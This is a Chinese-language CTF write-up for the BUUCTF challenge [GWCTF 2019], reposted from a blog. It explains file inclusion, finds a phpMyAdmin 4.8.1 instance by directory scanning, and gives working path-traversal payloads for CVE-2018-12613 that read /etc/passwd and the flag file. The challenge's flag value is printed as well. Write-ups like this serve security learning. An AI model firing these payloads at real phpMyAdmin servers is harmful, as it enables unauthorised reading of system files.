首页 > 数据库 >BUUCTF [GWCTF 2019]我有一个数据库

BUUCTF [GWCTF 2019]我有一个数据库

时间:2023-08-31 15:00:44浏览次数:50  
标签:文件 BUUCTF 包含 .. phpmyadmin 4.8 漏洞 GWCTF 2019

文件包含漏洞,和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

考点:

  • 目录扫描
  • phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
  1. 目录扫描。使用dirsearch御剑
    发现phpinfophpmyadmin数据库管理页面
    查看到其phpMyAdmin信息,查询到4.8.1版本存在任意文件读取漏洞

  2. 构造payload:/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../etc/passwd

可以成功执行,获取到了passwd文件的内容,尝试查找flag,最终payload:/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../flag

得到flag{268de53f-2646-4cc6-b12d-c82942a7ac8d}




参考链接:
https://blog.csdn.net/weixin_44037296/article/details/111026271
https://blog.csdn.net/m0_46467017/article/details/126380415
phpmyadmin 4.8.1 后台getshell

标签:文件,BUUCTF,包含,..,phpmyadmin,4.8,漏洞,GWCTF,2019
From: https://www.cnblogs.com/darkcyan/p/17669561.html

相关文章

  • BUUCTF [极客大挑战 2019]HardSQL
    判断过滤哪些关键词和字符报错注入报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误和concat+rand()+group_by()导致主键重复xpa......
  • BUUCTF [HCTF 2018]admin
    寻找破解知识点方法1-Flasksession伪造首先,先注册一个再登录,在changepassword那里查看源码,可以看到有提示:原链接已经404,看的这一个https://github.com/Wkh19/hctf_flask这是一个flask模板,这样来看,这是一道模板注入类型的题目。Session机制详解session可以在此处查看......
  • BUUCTF [强网杯 2019]随便注
    判断传参方式,输入1'or1=1,URL传参,所以是get。报错error1064:YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMariaDBserverversionfortherightsyntaxtousenear'''atline1报错说明后端参数后面有可能存在其他sql语句,我们......
  • vs2019-cuda配置入门
    cuda使用如下1、打开VS,新建C++空项目 2、右击源文件->添加->新建项 3、选择CUDAC/C++File,名称位main.cu 4、把下面的示例源码复制到main.cu中#include"cuda_runtime.h"#include"device_launch_parameters.h"#include<stdio.h>/***************************......
  • [极客大挑战 2019]PHP
    [极客大挑战2019]PHP打开链接,提示有备份网站的习惯![image-20230821164500785](../../../../../../Typora文章/[极客大挑战2019]PHP/image-20230821164500785.png)因此此时尝试访问一些常见的网站备份文件名,例如:常见网站源码备份文件后缀:tar.gz zip rar tar常见网站源......
  • CSP-J2019初赛易错题解析
    7.把 8 个同样的球放在 5 个同样的袋子里,允许有的袋子空着不放,问共有多少种不同的分法?()提示:如果 8 个球都放在一个袋子里,无论是哪个袋子,都只算同一种分法。A.22B.24 C.18 D.20正解:使用枚举法,枚举所有合法情况,共18种 ......
  • CSP-S2019初赛易错题解析
    一.6.由数字 1,1,2,4,8,8 所组成的不同的 4 位数的个数是()A.104  B. 102  C. 98  D. 100错误原因:遗漏答案正解:使用穷举法,第一种ABCD型,共有A(4,4)=24种,第二种AABC型,共有A(4,2)*C(3,2)*2=72种,第三种AABB型,共有6种,总共是102种。 8.G 是一个非连通无向图(......
  • P6302 [NOI2019] 回家路线 加强版
    P6302[NOI2019]回家路线加强版斜率优化好题。观察后猜想应该是dp。经过思考发现如果以点为状态,在时间这一维上是存在后效性的,而如果开二维数组\(f_{i,j}\)表示在第\(j\)个时刻到了\(i\)个点过不去加强版,考虑以列车为状态。题目有两个限制,一是出发点和结束点的限制,即......
  • [十二省联考 2019] 春节十二响
    题目链接。题意给出一棵有\(n\)个节点的树,要求你将集合\(\{1,2,\dots,n\}\)划分成若干个子集,使得没有子集拥有节点对满足两个元素在树上是祖孙关系。你需要最小化子集的最大值之和。先考虑带有启发性的子任务\(4\)(树是一颗链)。具体来说,树有以下两种形态:根节点是链的......
  • NC201985 立方数
    题目链接题目题目描述对于给定的正整数N,求最大的正整数A,使得存在正整数B,满足\(A^3B=N\)输入包含T组数据,1≤T≤10,000;\(1≤N≤10^{18}\)输入描述第一行数字T表示数据组数接下来一行,T个正整数N输出描述T行,每行一个数字表示答案示例1输入42724754输出3......